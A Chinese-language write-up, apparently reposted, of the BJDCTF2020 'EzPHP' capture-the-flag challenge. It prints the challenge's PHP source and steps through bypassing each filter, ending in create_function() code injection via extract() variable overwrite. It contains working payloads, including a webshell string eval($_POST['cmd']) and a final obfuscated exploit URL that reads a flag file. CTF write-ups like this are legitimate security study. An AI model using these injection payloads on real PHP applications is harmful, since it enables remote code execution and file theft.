[BJDCTF2020]EzPHP


[BJDCTF2020]EzPHP

解碼:http://794983a5-f5dc-4a13-bc0b-ca7140ba23f3.node3.buuoj.cn/1nD3x.php

源代碼:

 <?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?> 

關於第一處限制:

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
} 

關於$_SERVER['QUERY_STRING'].他驗證的時候是不會進行url解碼的,但是在GET的時候則會進行url解碼,所以我們只需要將關鍵詞編碼就能繞過。

關於第二處限制:

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
        $file = $_GET["file"];
        echo "Neeeeee! Good Job!<br>";
    }
} else die('fxck you! What do you want to do ?!');

preg_match值匹配第一行,句尾加上%0a進行繞過,繞過preg_match主要有兩種方法即換行符與PRCE回溯此處超出。

payload:dedu=aqua_is_cute%0a

關於第三處限制:

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
}  

$_REQUEST方式接收請求是存在優先級別的,如果同時接受GET和POST的數據,默認情況下POST具有優先權,所以只需要在get的同時post數字即可。

payload:POST:debu=1&file=1

關於第四處限制:

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>"); 

這里利用data協議即可:file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61

與此同時file也需要被post一下。

關於第四處限制:

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
} 

這里利用數組進行一下繞過就可以了,因為當sha1()的參數為數組,此時就會返回false。

payload:
shana[]=1&passwd[]=2

關於第五處限制:

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

這里利用到了create_function()代碼注入。

create_function()函數有兩個參數$args和$code,用於創建一個lambda樣式的函數

例如:$myfunc = create_function('$a, $b', 'return $a+$b;');
相當於:

function myfunc($a, $b){
    return $a+$b;
}    

與此同時當第二個參數無限制時:

$code=return $a+$b;}eval($_POST['cmd']);//

就會變成:

function myfunc($a, $b){
    return $a+$b;
}
eval($_POST['cmd']);//}  

看到這道題,在上一階段sha1比較的過程中,extract($_GET["flag"]);這里我們可以進行變量覆蓋,從而掌控住arg變量與code變量。
同時根據上面的介紹我們可以通過必和符號來執行自己定義的函數:

&flag[arg]=}a();//&flag[code]=create_function

拼接過后就應該是:

function {}a();//}

這樣子了。

這個a我們是可以隨時改成其他的函數的。

但是此時很多函數都被禁用了,文件中包含了flag這個文件,利用get_defined_vars()將所有變量與值都進行輸出,此時payload就為:

flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function

輸出出來但還不是真正的flag,提示我們是在另一個文件里面,flag4.php,此時我們可以利用require,來代替include,利用base64編碼繞過flag的過濾,利用require()來代替require" "。

payload:flag[arg]=}require(base64_decode(xxxxxxx));var_dump(get_defined_vars());//&flag[code]=create_function

非預期解:利用異或或者~進行取反操作。

最終payload:
GET:

http://794983a5-f5dc-4a13-bc0b-ca7140ba23f3.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}define(aaa,fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);%23  

POST:

debu=1&file=1


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM